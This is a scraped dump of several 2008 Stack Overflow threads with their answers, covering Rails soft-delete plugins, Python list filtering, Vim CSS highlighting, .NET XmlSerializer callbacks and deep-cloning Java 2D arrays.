[ { "answer_id": 200411, "author": "Andy Jeffries", "author_id": 2645935, "author_profile": "https://Stackoverflow.com/users/2645935", "pm_score": 0, "selected": false, "text": "<p>There is a file <a href=\"http://github.com/alto/redline/tree/ed884597354762572b4112ef4d3d13a13d051faa/lib/acts_as_deletable.rb\" rel=\"nofollow noreferrer\">here</a> that seems to do what you're requiring, but personally I think there must be something out there that automatically filters out deleted records unless you specifically include them. That way they really would appear deleted unless you include a parameter or a named scope that re-includes them.</p>\n\n<p>Unfortunately, I haven't written one and spare time is limited, but it shouldn't be that hard, should it?</p>\n" }, { "answer_id": 200419, "author": "user27732", "author_id": 27732, "author_profile": "https://Stackoverflow.com/users/27732", "pm_score": -1, "selected": false, "text": "<p>responsibility chain pattern</p>\n\n<pre><code>class Action\n{\n Perform(context);\n Undo(context);\n}\n</code></pre>\n" }, { "answer_id": 201571, "author": "Robin Bennett", "author_id": 27794, "author_profile": "https://Stackoverflow.com/users/27794", "pm_score": 0, "selected": false, "text": "<p>You can move the deleted items into a separate collection (or table, or whatever) - then anything that looks in the original list will see that it's been deleted, and you can deal with the new list when it's convenient.</p>\n" }, { "answer_id": 201895, "author": "Tilendor", "author_id": 1470, "author_profile": "https://Stackoverflow.com/users/1470", "pm_score": 3, "selected": true, "text": "<p>There are indeed some plugins that can be found at <a href=\"http://agilewebdevelopment.com/plugins\" rel=\"nofollow noreferrer\">Agile Web Development</a>.</p>\n\n<p>Here are the links and summaries for the plugins which seem to match your description:</p>\n\n<ol>\n<li><a href=\"http://agilewebdevelopment.com/plugins/acts_as_paranoid\" rel=\"nofollow noreferrer\">Acts as Paranoid</a>: Make your Active Records \"paranoid.\" Deleting them does not delete the row, but set a deleted_at field. Find is overloaded to skip deleted records. </li>\n<li><a href=\"http://agilewebdevelopment.com/plugins/acts_as_soft_deletable\" rel=\"nofollow noreferrer\">Acts as soft deletable</a>: Provides the ability to soft delete ActiveRecord models. </li>\n</ol>\n" }, { "answer_id": 17596946, "author": "bmac151", "author_id": 2539164, "author_profile": "https://Stackoverflow.com/users/2539164", "pm_score": 0, "selected": false, "text": "<p><a href=\"https://github.com/airblade/paper_trail\" rel=\"nofollow\">PaperTrail</a> does this nicely. There is a good <a href=\"http://railscasts.com/episodes/255-undo-with-paper-trail\" rel=\"nofollow\">Railscast</a> on it, although it is a little old now. I know this question was asked quite a while ago but I stumbled upon it out of curiosity and thought I should reference a nice up to date way of doing this.</p>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200372", "https://Stackoverflow.com", "https://Stackoverflow.com/users/6048/" ]
I think it important to have an "**undo**" method ala **gmail** when destroying records instead of displaying an annoying popup that says, "*Are you sure?*". The way that I've implemented this is to have a "deleted\_at" timestamp column in the model which gets timestamped when **destroy** method is called ``` def destroy @foo = Foo.find(params[:id]) @foo.update_attribute(:deleted_at, Time.now) ... end ``` To **revert/undo** I'll just set the same column to nil ``` def revert @foo = Foo.find(params[:id]) @foo.update_attribute(:deleted_at, nil) ... end ``` I'll just have to add a condition to filter off "deleted" foos when I call the find method. Perhaps set a cron or background task to really destroy "deleted" foos after some time. Works for me and easy to implement but I'm curious as to if there's a better way to implement this feature? Maybe there's a plugin or gem that provides this that I don't know about?
There are indeed some plugins that can be found at [Agile Web Development](http://agilewebdevelopment.com/plugins). Here are the links and summaries for the plugins which seem to match your description: 1. [Acts as Paranoid](http://agilewebdevelopment.com/plugins/acts_as_paranoid): Make your Active Records "paranoid." Deleting them does not delete the row, but set a deleted\_at field. Find is overloaded to skip deleted records. 2. [Acts as soft deletable](http://agilewebdevelopment.com/plugins/acts_as_soft_deletable): Provides the ability to soft delete ActiveRecord models.
200,373
<p>I want to filter two list with any fastest method in python script. I have used the built-in <code>filter()</code> method for this purpose. but it is quite slow and taking too much time because I have very big list, I think more than 5 million item in each list or may be more. I do not know how I will make it. Please if anybody have idea or write small function for it. </p>
[ { "answer_id": 200395, "author": "Vinko Vrsalovic", "author_id": 5190, "author_profile": "https://Stackoverflow.com/users/5190", "pm_score": 2, "selected": false, "text": "<p>I guess filter() is as fast as you can possibly get without having to code the filtering function in C (and in that case, you better code the whole filtering process in C).</p>\n\n<p>Why don't you paste the function you are filtering on? That might lead to easier optimizations.</p>\n\n<p>Read <a href=\"http://www.python.org/doc/essays/list2str.html\" rel=\"nofollow noreferrer\">this</a> about optimization in Python. And <a href=\"http://docs.python.org/api/api.html\" rel=\"nofollow noreferrer\">this</a> about the Python/C API.</p>\n" }, { "answer_id": 200634, "author": "gimel", "author_id": 6491, "author_profile": "https://Stackoverflow.com/users/6491", "pm_score": 4, "selected": false, "text": "<p>Maybe your lists are too large and do not fit in memory, and you experience <a href=\"http://en.wikipedia.org/wiki/Thrash_(computer_science)\" rel=\"nofollow noreferrer\">thrashing</a>.\nIf the sources are in files, you do not need the whole list in memory all at once. Try using <em><a href=\"https://docs.python.org/2/library/itertools.html#itertools.ifilter\" rel=\"nofollow noreferrer\">itertools</a></em>, e.g.:</p>\n\n<pre><code>from itertools import ifilter\n\ndef is_important(s):\n return len(s)&gt;10\n\nfiltered_list = ifilter(is_important, open('mylist.txt'))\n</code></pre>\n\n<p>Note that <em>ifilter</em> returns an <em>iterator</em> that is fast and memory efficient.</p>\n\n<p><a href=\"http://www.dabeaz.com/generators/\" rel=\"nofollow noreferrer\">Generator Tricks</a> is a tutorial by David M. Beazley that teaches some interesting uses for <em>generators</em>.</p>\n" }, { "answer_id": 200637, "author": "Cheery", "author_id": 21711, "author_profile": "https://Stackoverflow.com/users/21711", "pm_score": 2, "selected": false, "text": "<p>Before doing it in C, you could try <a href=\"http://numpy.scipy.org/\" rel=\"nofollow noreferrer\">numpy</a>. Perhaps you can turn your filtering into number crunching.</p>\n" }, { "answer_id": 200648, "author": "Brian", "author_id": 9493, "author_profile": "https://Stackoverflow.com/users/9493", "pm_score": 2, "selected": false, "text": "<p>Filter will create a new list, so if your original is very big, you could end up using up to twice as much memory.\nIf you only need to process the results iteratively, rather than use it as a real random-access list, you are probably better off using\nifilter instead. ie.</p>\n\n<pre><code>for x in itertools.ifilter(condition_func, my_really_big_list):\n do_something_with(x)\n</code></pre>\n\n<p>Other speed tips are to use a python builtin, rather than a function you write yourself. There's a itertools.ifilterfalse specifically for the\ncase where you would otherwise need to introduce a lambda to negate your check. (eg \"ifilter(lambda x: not x.isalpha(), l)\" should be written \"ifilterfalse(str.isalpha, l)\")</p>\n" }, { "answer_id": 201015, "author": "Alex Coventry", "author_id": 1941213, "author_profile": "https://Stackoverflow.com/users/1941213", "pm_score": 2, "selected": false, "text": "<p>It may be useful to know that generally a conditional list comprehension is much faster than the corresponding lambda:</p>\n\n<pre><code>&gt;&gt;&gt; import timeit\n&gt;&gt;&gt; timeit.Timer('[x for x in xrange(10) if (x**2 % 4) == 1]').timeit()\n2.0544309616088867\n&gt;&gt;&gt; timeit.f = lambda x: (x**2 % 4) == 1\ntimeit.Timer('[x for x in xrange(10) if f(x)]').timeit()\n&gt;&gt;&gt; \n3.4280929565429688\n</code></pre>\n\n<p>(Not sure why I needed to put f in the <code>timeit</code> namespace, there. Haven't really used the module much.)</p>\n" }, { "answer_id": 201019, "author": "S.Lott", "author_id": 10661, "author_profile": "https://Stackoverflow.com/users/10661", "pm_score": 3, "selected": false, "text": "<p>If you can avoid creating the lists in the first place, you'll be happier.</p>\n\n<p>Rather than</p>\n\n<pre><code>aBigList = someListMakingFunction()\nfilter( lambda x:x&gt;10, aBigList )\n</code></pre>\n\n<p>You might want to look at your function that makes the list.</p>\n\n<pre><code>def someListMakingGenerator( ):\n for x in some source:\n yield x\n</code></pre>\n\n<p>Then your filter doesn't involve a giant tract of memory</p>\n\n<pre><code>def myFilter( aGenerator ):\n for x in aGenerator:\n if x &gt; 10: \n yield x\n</code></pre>\n\n<p>By using generators, you don't keep much stuff in memory.</p>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200373", "https://Stackoverflow.com", "https://Stackoverflow.com/users/17451/" ]
I want to filter two list with any fastest method in python script. I have used the built-in `filter()` method for this purpose. but it is quite slow and taking too much time because I have very big list, I think more than 5 million item in each list or may be more. I do not know how I will make it. Please if anybody have idea or write small function for it.
Maybe your lists are too large and do not fit in memory, and you experience [thrashing](http://en.wikipedia.org/wiki/Thrash_(computer_science)). If the sources are in files, you do not need the whole list in memory all at once. Try using *[itertools](https://docs.python.org/2/library/itertools.html#itertools.ifilter)*, e.g.: ``` from itertools import ifilter def is_important(s): return len(s)>10 filtered_list = ifilter(is_important, open('mylist.txt')) ``` Note that *ifilter* returns an *iterator* that is fast and memory efficient. [Generator Tricks](http://www.dabeaz.com/generators/) is a tutorial by David M. Beazley that teaches some interesting uses for *generators*.
200,378
<p>The CSS syntax highlighting in vim is not entirely optimal. For example: </p> <pre><code>div.special_class </code></pre> <p>stops the highlighting at the <code>_</code>. </p> <p>Is there an improved highlighter that doesn't bite on an underscore?</p> <p>Update: I'm using VIM - Vi IMproved 7.1 (2007 May 12, compiled Jun 17 2008 15:22:40)</p> <p>and the header of my css.vim is:</p> <pre><code>" Vim syntax file " Language: Cascading Style Sheets " Maintainer: Claudio Fleiner &lt;[email protected]&gt; " URL: http://www.fleiner.com/vim/syntax/css.vim " Last Change: 2006 Jun 19 " CSS2 by Nikolai Weibull " Full CSS2, HTML4 support by Yeti </code></pre>
[ { "answer_id": 200389, "author": "Tomalak", "author_id": 18771, "author_profile": "https://Stackoverflow.com/users/18771", "pm_score": 1, "selected": false, "text": "<p>What version of vim are you using?</p>\n\n<p>My css.vim is</p>\n\n<pre><code>\" Vim syntax file\n\" Language: Cascading Style Sheets\n\" Maintainer: Claudio Fleiner &lt;[email protected]&gt;\n\" URL: http://www.fleiner.com/vim/syntax/css.vim\n\" Last Change: 2005 Nov 23\n\" CSS2 by Nikolai Weibull\n\" Full CSS2, HTML4 support by Yeti\n</code></pre>\n\n<p>as shipped with vim 7.0, and it does not expose the behaviour you described.</p>\n" }, { "answer_id": 200541, "author": "SpoonMeiser", "author_id": 1577190, "author_profile": "https://Stackoverflow.com/users/1577190", "pm_score": 4, "selected": true, "text": "<p>I don't have that problem. This is the header of my syntax file:</p>\n\n<pre><code>\" Vim syntax file\n\" Language: Cascading Style Sheets\n\" Maintainer: Claudio Fleiner &lt;[email protected]&gt;\n\" URL: http://www.fleiner.com/vim/syntax/css.vim\n\" Last Change: 2007 Nov 06\n\" CSS2 by Nikolai Weibull\n\" Full CSS2, HTML4 support by Yeti\n</code></pre>\n\n<p>The relevant line of the syntax file, is this:</p>\n\n<pre><code>syn match cssClassName \"\\.[A-Za-z][A-Za-z0-9_-]\\+\"\n</code></pre>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200378", "https://Stackoverflow.com", "https://Stackoverflow.com/users/1896/" ]
The CSS syntax highlighting in vim is not entirely optimal. For example: ``` div.special_class ``` stops the highlighting at the `_`. Is there an improved highlighter that doesn't bite on an underscore? Update: I'm using VIM - Vi IMproved 7.1 (2007 May 12, compiled Jun 17 2008 15:22:40) and the header of my css.vim is: ``` " Vim syntax file " Language: Cascading Style Sheets " Maintainer: Claudio Fleiner <[email protected]> " URL: http://www.fleiner.com/vim/syntax/css.vim " Last Change: 2006 Jun 19 " CSS2 by Nikolai Weibull " Full CSS2, HTML4 support by Yeti ```
I don't have that problem. This is the header of my syntax file: ``` " Vim syntax file " Language: Cascading Style Sheets " Maintainer: Claudio Fleiner <[email protected]> " URL: http://www.fleiner.com/vim/syntax/css.vim " Last Change: 2007 Nov 06 " CSS2 by Nikolai Weibull " Full CSS2, HTML4 support by Yeti ``` The relevant line of the syntax file, is this: ``` syn match cssClassName "\.[A-Za-z][A-Za-z0-9_-]\+" ```
200,386
<p>I want to set some attributes just before the object is serialized, but as it can be serialized from several locations, is there a way to do this using the OnSerializing method (or similar) for Xml serialization - my class is largely like this - but the On... methods are not being called...:</p> <pre><code>[Serializable] [XmlRoot(ElementName = "ResponseDetails", IsNullable = false)] public class ResponseDetails { public ResponseDetails() {} [OnSerializing] internal void OnSerializingMethod(StreamingContext context) { logger.Info("Serializing response"); } [OnSerialized] internal void OnSerializedMethod(StreamingContext context) { logger.Info("Serialized response"); } [OnDeserialized] internal void OnDeserializedMethod(StreamingContext context) { logger.Info("Deserialized response"); } [OnDeserializing] internal void OnDeserializingMethod(StreamingContext context) { logger.Info("Deserializing response"); } </code></pre>
[ { "answer_id": 200426, "author": "Kent Boogaart", "author_id": 5380, "author_profile": "https://Stackoverflow.com/users/5380", "pm_score": 4, "selected": true, "text": "<p>No, <code>XmlSerializer</code> does not support this. If you're using .NET 3.0 or later, take a look at the <code>DataContractSerializer</code>.</p>\n" }, { "answer_id": 7512613, "author": "Jatinder Walia", "author_id": 958769, "author_profile": "https://Stackoverflow.com/users/958769", "pm_score": 2, "selected": false, "text": "<p>I have tried to break some ice. Please have a look.\nCreate a class with the name <code>MyXMLSerializer</code> like this:</p>\n\n<pre><code>public class MyXMLSerializer\n{\n delegate void del_xmlSerializing();\n del_xmlSerializing ds; \n\n delegate void del_xmlSerialized(System.IO.Stream stream, object o);\n AsyncCallback cb;\n del_xmlSerialized dd;\n\n delegate void del_xmlDeserializing();\n del_xmlDeserializing dx; \n\n delegate object del_xmlDeserialized(System.IO.Stream stream);\n AsyncCallback db;\n del_xmlDeserialized xd;\n object FinalDeserializedObject = null;\n\n public MyXMLSerializer()\n { \n }\n\n public void Serialize(System.IO.Stream stream,object o,Type ClassType)\n {\n XmlSerializer xx = new XmlSerializer(ClassType);\n\n /* ON Serialization Beginning [ONSERIALIZING] */\n ds = new del_xmlSerializing(OnXMLSerializing_Begin);\n IAsyncResult IAR_Begin = ds.BeginInvoke(null, null);\n ds.EndInvoke(IAR_Begin);\n /* ON Serialization Beginning [ONSERIALIZING] */\n\n /* ON Serialization Completed ie [ONSERIALIZED] */\n dd = new del_xmlSerialized(xx.Serialize);\n cb = new AsyncCallback(OnXMLSerializing_Completed);\n IAsyncResult IAR = dd.BeginInvoke(stream, o, cb, dd);\n // This Delay Is Important Otherwise The Next Line Of Code(From Where Serialize Is Called)\n // Gets Executed Prior To Conclusion Of EndInvoke, Consequently Throwing Exception.\n while (IAR.IsCompleted == false) Thread.Sleep(1);\n /* ON Serialization Completed ie [ONSERIALIZED] */ \n }\n\n public object Deserialize(System.IO.Stream stream,Type ClassType)\n {\n XmlSerializer xx = new XmlSerializer(ClassType);\n\n /* ON De-Serialization Beginning [ONDESERIALIZING] */\n dx = new del_xmlDeserializing(OnXMLDeserializing_Begin);\n IAsyncResult IAR_Begin = dx.BeginInvoke(null, null);\n dx.EndInvoke(IAR_Begin);\n /* ON De-Serialization Beginning [ONDESERIALIZING] */\n\n /* ON De-Serialization Completed [ONDESERIALIZED] */\n xd = new del_xmlDeserialized(xx.Deserialize);\n db = new AsyncCallback(OnXMLDeserialization_Completed);\n IAsyncResult IAR = xd.BeginInvoke(stream, db, xd); \n // This Delay Is Important Otherwise The Next Line Of Code(From Where Serialize Is Called)\n // Gets Executed Prior To Conclusion Of EndInvoke ,Consequently Throwing Exception.\n while (IAR.IsCompleted == false) Thread.Sleep(1);\n return FinalDeserializedObject;\n /* ON De-Serialization Completed [ONDESERIALIZED] */ \n }\n\n private void OnXMLDeserialization_Completed(IAsyncResult I)\n {\n del_xmlDeserialized Clone = (del_xmlDeserialized)I.AsyncState;\n FinalDeserializedObject = Clone.EndInvoke(I);\n OnDeserialized(); \n }\n\n public virtual void OnSerialized()\n {\n MessageBox.Show(\"Serialization Completed\");\n }\n\n public virtual void OnDeserialized()\n {\n MessageBox.Show(\"Deserialization Completed\");\n }\n\n private void OnXMLSerializing_Completed(IAsyncResult I)\n {\n del_xmlSerialized Clone = (del_xmlSerialized)I.AsyncState;\n Clone.EndInvoke(I);\n OnSerialized(); \n }\n\n private void OnXMLDeserializing_Begin()\n {\n //Thread.Sleep(5000);\n OnDeserializing();\n }\n\n public virtual void OnDeserializing()\n {\n MessageBox.Show(\"Beginning Deserialization\");\n }\n\n private void OnXMLSerializing_Begin()\n {\n //Thread.Sleep(5000);\n OnSerializing();\n }\n\n public virtual void OnSerializing()\n {\n MessageBox.Show(\"Beginning Serialization\");\n } \n}\n</code></pre>\n\n<p>Now create another class by the name <code>TotalRecall</code> and inherit the <code>MyXMLSerializer</code> class into this class like this:</p>\n\n<pre><code>public class TotalRecall:MyXMLSerializer\n{\n public override void OnSerialized()\n {\n MessageBox.Show(\"Yippeeee!!!!!,I Finally Managed To Wire [ONSERIALIZED] Event With XMLSerializer.My Code Upon XML Serialized[ONSERIALIZED] Goes Here..\"); \n //base.OnSerialized();\n }\n\n public override void OnSerializing()\n {\n MessageBox.Show(\"Yippeeee!!!!!,I Finally Managed To Wire [ONSERIALIZING] Event With XMLSerializer.My Code Upon XML Serializing[ONSERIALIZING] Goes Here..\"); \n //base.OnSerializing();\n }\n\n public override void OnDeserializing()\n {\n MessageBox.Show(\"Yes!!!!!,I Finally Managed To Wire [ONDESERIALIZING] Event With XMLSerializer.My Code Upon XML De-Serializing[ONDESERIALIZING] Goes Here..\"); \n //base.OnDeserializing();\n }\n\n public override void OnDeserialized()\n {\n MessageBox.Show(\"Yes!!!!!,I Finally Managed To Wire [ONDESERIALIZED] Event With XMLSerializer.My Code Upon XML De-Serialized[ONDESERIALIZED] Goes Here..\");\n //base.OnDeserialized();\n }\n}\n</code></pre>\n\n<p>Now create a form (I have created a Windows form).\nCreate two buttons on it with the names <code>Button1</code> and <code>Button2</code> (defaults). My complete Form code is:</p>\n\n<pre><code>public partial class Form2 : Form\n{\n public Form2()\n {\n InitializeComponent();\n }\n\n private void button1_Click(object sender, EventArgs e)\n {\n TotalRecall xx = new TotalRecall();\n Employee ee = new Employee();\n FileStream fs = File.Create(\"sss.xml\");\n xx.Serialize(fs, ee, typeof(Employee));\n fs.Close();\n fs.Dispose();\n }\n\n private void button2_Click(object sender, EventArgs e)\n {\n TotalRecall xx = new TotalRecall();\n FileStream fs=File.OpenRead(\"sss.xml\");\n Employee ee = (Employee)xx.Deserialize(fs, typeof(Employee));\n fs.Close();\n fs.Dispose();\n }\n}\n</code></pre>\n\n<p>Please include namespaces wherever I have missed during this copy-paste.</p>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200386", "https://Stackoverflow.com", "https://Stackoverflow.com/users/48310/" ]
I want to set some attributes just before the object is serialized, but as it can be serialized from several locations, is there a way to do this using the OnSerializing method (or similar) for Xml serialization - my class is largely like this - but the On... methods are not being called...: ``` [Serializable] [XmlRoot(ElementName = "ResponseDetails", IsNullable = false)] public class ResponseDetails { public ResponseDetails() {} [OnSerializing] internal void OnSerializingMethod(StreamingContext context) { logger.Info("Serializing response"); } [OnSerialized] internal void OnSerializedMethod(StreamingContext context) { logger.Info("Serialized response"); } [OnDeserialized] internal void OnDeserializedMethod(StreamingContext context) { logger.Info("Deserialized response"); } [OnDeserializing] internal void OnDeserializingMethod(StreamingContext context) { logger.Info("Deserializing response"); } ```
No, `XmlSerializer` does not support this. If you're using .NET 3.0 or later, take a look at the `DataContractSerializer`.
200,387
<p>I have two multidimensional arrays (well actually they're only 2D) which have inferred size. How do I deep clone them? Here's what I have gotten so far:</p> <pre><code>public foo(Character[][] original){ clone = new Character[original.length][]; for(int i = 0; i &lt; original.length; i++) clone[i] = (Character[]) original[i].clone(); } </code></pre> <p>A test for equality <code>original.equals(clone);</code> spits out a false. Why? :|</p>
[ { "answer_id": 200418, "author": "abahgat", "author_id": 27565, "author_profile": "https://Stackoverflow.com/users/27565", "pm_score": 2, "selected": false, "text": "<p>You might want to check out the <a href=\"http://java.sun.com/j2se/1.5.0/docs/api/java/util/Arrays.html\" rel=\"nofollow noreferrer\">java.util.Arrays.deepEquals</a> and <a href=\"http://java.sun.com/j2se/1.5.0/docs/api/java/util/Arrays.html\" rel=\"nofollow noreferrer\">java.util.Arrays.equals</a> methods.</p>\n\n<p>I'm afraid the <code>equals</code> method for array objects performs a shallow comparison, and does not properly (at least for this case) compare the inner <code>Character</code> arrays.</p>\n" }, { "answer_id": 200444, "author": "gizmo", "author_id": 9396, "author_profile": "https://Stackoverflow.com/users/9396", "pm_score": 2, "selected": false, "text": "<p>equals() method on arrays is the one declared in Object class. This means that it will only returns true if the object are the same. By the same it means not the same in CONTENT, but the same in MEMORY. Thus equals() on your arrays will never return true as you're duplicating the structure in memory.</p>\n" }, { "answer_id": 200445, "author": "Andreas Petersson", "author_id": 16542, "author_profile": "https://Stackoverflow.com/users/16542", "pm_score": 1, "selected": false, "text": "<blockquote>\n <p>A test for equality\n original.equals(clone); spits out a\n false. Why? :|</p>\n</blockquote>\n\n<p>thats because you are creating a new array with <code>new Character[original.length][];</code>. </p>\n\n<p><code>Arrays.deepEquals(original,clone)</code> should return true.</p>\n" }, { "answer_id": 200496, "author": "Barak Schiller", "author_id": 1651, "author_profile": "https://Stackoverflow.com/users/1651", "pm_score": -1, "selected": false, "text": "<p>I found this answer for cloning multidimensional arrays on <a href=\"http://www.jguru.com/faq/view.jsp?EID=20435\" rel=\"nofollow noreferrer\">jGuru</a>:</p>\n\n<pre><code>ByteArrayOutputStream baos = new ByteArrayOutputStream();\nObjectOutputStream oos = new ObjectOutputStream(baos);\noos.writeObject(this);\nByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());\nObjectInputStream ois = new ObjectInputStream(bais);\nObject deepCopy = ois.readObject();\n</code></pre>\n" }, { "answer_id": 812814, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 4, "selected": false, "text": "<pre><code>/**Creates an independent copy(clone) of the boolean array.\n * @param array The array to be cloned.\n * @return An independent 'deep' structure clone of the array.\n */\npublic static boolean[][] clone2DArray(boolean[][] array) {\n int rows=array.length ;\n //int rowIs=array[0].length ;\n\n //clone the 'shallow' structure of array\n boolean[][] newArray =(boolean[][]) array.clone();\n //clone the 'deep' structure of array\n for(int row=0;row&lt;rows;row++){\n newArray[row]=(boolean[]) array[row].clone();\n }\n\n return newArray;\n}\n</code></pre>\n" }, { "answer_id": 25188914, "author": "Venkata Raju", "author_id": 1812434, "author_profile": "https://Stackoverflow.com/users/1812434", "pm_score": 0, "selected": false, "text": "<p>Same as @Barak solution (Serialize and Deserialize) with examples (as some people could not understand and down voted that)</p>\n\n<pre><code>public static &lt;T extends Serializable&gt; T deepCopy(T obj)\n{\n ByteArrayOutputStream baos = new ByteArrayOutputStream();\n try\n {\n ObjectOutputStream oos = new ObjectOutputStream(baos);\n\n // Beware, this can throw java.io.NotSerializableException \n // if any object inside obj is not Serializable\n oos.writeObject(obj); \n ObjectInputStream ois = new ObjectInputStream(\n new ByteArrayInputStream(baos.toByteArray()));\n return (T) ois.readObject();\n }\n catch ( ClassNotFoundException /* Not sure */\n | IOException /* Never happens as we are not writing to disc */ e)\n {\n throw new RuntimeException(e); // Your own custom exception\n }\n}\n</code></pre>\n\n<p>Usage:</p>\n\n<pre><code> int[][] intArr = { { 1 } };\n System.out.println(Arrays.deepToString(intArr)); // prints: [[1]]\n int[][] intDc = deepCopy(intArr);\n intDc[0][0] = 2;\n System.out.println(Arrays.deepToString(intArr)); // prints: [[1]]\n System.out.println(Arrays.deepToString(intDc)); // prints: [[2]]\n int[][] intClone = intArr.clone();\n intClone[0][0] = 4;\n\n // original array modified because builtin cloning is shallow \n System.out.println(Arrays.deepToString(intArr)); // prints: [[4]]\n System.out.println(Arrays.deepToString(intClone)); // prints: [[4]]\n\n short[][][] shortArr = { { { 2 } } };\n System.out.println(Arrays.deepToString(shortArr)); // prints: [[[2]]]\n\n // deepCopy() works for any type of array of any dimension\n short[][][] shortDc = deepCopy(shortArr);\n shortDc[0][0][0] = 4;\n System.out.println(Arrays.deepToString(shortArr)); // prints: [[[2]]]\n System.out.println(Arrays.deepToString(shortDc)); // prints: [[[4]]]\n</code></pre>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200387", "https://Stackoverflow.com", "https://Stackoverflow.com/users/-1/" ]
I have two multidimensional arrays (well actually they're only 2D) which have inferred size. How do I deep clone them? Here's what I have gotten so far: ``` public foo(Character[][] original){ clone = new Character[original.length][]; for(int i = 0; i < original.length; i++) clone[i] = (Character[]) original[i].clone(); } ``` A test for equality `original.equals(clone);` spits out a false. Why? :|
``` /**Creates an independent copy(clone) of the boolean array. * @param array The array to be cloned. * @return An independent 'deep' structure clone of the array. */ public static boolean[][] clone2DArray(boolean[][] array) { int rows=array.length ; //int rowIs=array[0].length ; //clone the 'shallow' structure of array boolean[][] newArray =(boolean[][]) array.clone(); //clone the 'deep' structure of array for(int row=0;row<rows;row++){ newArray[row]=(boolean[]) array[row].clone(); } return newArray; } ```
200,393
<p>I'm rebuilding a site with a lot of incoming links, and the URL structure is completely changing. I'm using the stock mod_rewrite solution to redirect all old links to new pages. However, as I'm sure a few links will slip through the net, I've built a small script that runs on my custom 404 page, to log the incoming visitors' referrer URL. This will help me track down any broken links.</p> <p>In addition to referrer, is there also a way of logging the url that the user entered, or clicked that caused a 404? I ask this as referrer is obviously a bit 'hit &amp; miss'.</p> <p>I suspect not, but thought it worth a question.</p>
[ { "answer_id": 200418, "author": "abahgat", "author_id": 27565, "author_profile": "https://Stackoverflow.com/users/27565", "pm_score": 2, "selected": false, "text": "<p>You might want to check out the <a href=\"http://java.sun.com/j2se/1.5.0/docs/api/java/util/Arrays.html\" rel=\"nofollow noreferrer\">java.util.Arrays.deepEquals</a> and <a href=\"http://java.sun.com/j2se/1.5.0/docs/api/java/util/Arrays.html\" rel=\"nofollow noreferrer\">java.util.Arrays.equals</a> methods.</p>\n\n<p>I'm afraid the <code>equals</code> method for array objects performs a shallow comparison, and does not properly (at least for this case) compare the inner <code>Character</code> arrays.</p>\n" }, { "answer_id": 200444, "author": "gizmo", "author_id": 9396, "author_profile": "https://Stackoverflow.com/users/9396", "pm_score": 2, "selected": false, "text": "<p>equals() method on arrays is the one declared in Object class. This means that it will only returns true if the object are the same. By the same it means not the same in CONTENT, but the same in MEMORY. Thus equals() on your arrays will never return true as you're duplicating the structure in memory.</p>\n" }, { "answer_id": 200445, "author": "Andreas Petersson", "author_id": 16542, "author_profile": "https://Stackoverflow.com/users/16542", "pm_score": 1, "selected": false, "text": "<blockquote>\n <p>A test for equality\n original.equals(clone); spits out a\n false. Why? :|</p>\n</blockquote>\n\n<p>thats because you are creating a new array with <code>new Character[original.length][];</code>. </p>\n\n<p><code>Arrays.deepEquals(original,clone)</code> should return true.</p>\n" }, { "answer_id": 200496, "author": "Barak Schiller", "author_id": 1651, "author_profile": "https://Stackoverflow.com/users/1651", "pm_score": -1, "selected": false, "text": "<p>I found this answer for cloning multidimensional arrays on <a href=\"http://www.jguru.com/faq/view.jsp?EID=20435\" rel=\"nofollow noreferrer\">jGuru</a>:</p>\n\n<pre><code>ByteArrayOutputStream baos = new ByteArrayOutputStream();\nObjectOutputStream oos = new ObjectOutputStream(baos);\noos.writeObject(this);\nByteArrayInputStream bais = new ByteArrayInputStream(baos.toByteArray());\nObjectInputStream ois = new ObjectInputStream(bais);\nObject deepCopy = ois.readObject();\n</code></pre>\n" }, { "answer_id": 812814, "author": "Community", "author_id": -1, "author_profile": "https://Stackoverflow.com/users/-1", "pm_score": 4, "selected": false, "text": "<pre><code>/**Creates an independent copy(clone) of the boolean array.\n * @param array The array to be cloned.\n * @return An independent 'deep' structure clone of the array.\n */\npublic static boolean[][] clone2DArray(boolean[][] array) {\n int rows=array.length ;\n //int rowIs=array[0].length ;\n\n //clone the 'shallow' structure of array\n boolean[][] newArray =(boolean[][]) array.clone();\n //clone the 'deep' structure of array\n for(int row=0;row&lt;rows;row++){\n newArray[row]=(boolean[]) array[row].clone();\n }\n\n return newArray;\n}\n</code></pre>\n" }, { "answer_id": 25188914, "author": "Venkata Raju", "author_id": 1812434, "author_profile": "https://Stackoverflow.com/users/1812434", "pm_score": 0, "selected": false, "text": "<p>Same as @Barak solution (Serialize and Deserialize) with examples (as some people could not understand and down voted that)</p>\n\n<pre><code>public static &lt;T extends Serializable&gt; T deepCopy(T obj)\n{\n ByteArrayOutputStream baos = new ByteArrayOutputStream();\n try\n {\n ObjectOutputStream oos = new ObjectOutputStream(baos);\n\n // Beware, this can throw java.io.NotSerializableException \n // if any object inside obj is not Serializable\n oos.writeObject(obj); \n ObjectInputStream ois = new ObjectInputStream(\n new ByteArrayInputStream(baos.toByteArray()));\n return (T) ois.readObject();\n }\n catch ( ClassNotFoundException /* Not sure */\n | IOException /* Never happens as we are not writing to disc */ e)\n {\n throw new RuntimeException(e); // Your own custom exception\n }\n}\n</code></pre>\n\n<p>Usage:</p>\n\n<pre><code> int[][] intArr = { { 1 } };\n System.out.println(Arrays.deepToString(intArr)); // prints: [[1]]\n int[][] intDc = deepCopy(intArr);\n intDc[0][0] = 2;\n System.out.println(Arrays.deepToString(intArr)); // prints: [[1]]\n System.out.println(Arrays.deepToString(intDc)); // prints: [[2]]\n int[][] intClone = intArr.clone();\n intClone[0][0] = 4;\n\n // original array modified because builtin cloning is shallow \n System.out.println(Arrays.deepToString(intArr)); // prints: [[4]]\n System.out.println(Arrays.deepToString(intClone)); // prints: [[4]]\n\n short[][][] shortArr = { { { 2 } } };\n System.out.println(Arrays.deepToString(shortArr)); // prints: [[[2]]]\n\n // deepCopy() works for any type of array of any dimension\n short[][][] shortDc = deepCopy(shortArr);\n shortDc[0][0][0] = 4;\n System.out.println(Arrays.deepToString(shortArr)); // prints: [[[2]]]\n System.out.println(Arrays.deepToString(shortDc)); // prints: [[[4]]]\n</code></pre>\n" } ]
2008/10/14
[ "https://Stackoverflow.com/questions/200393", "https://Stackoverflow.com", "https://Stackoverflow.com/users/26107/" ]
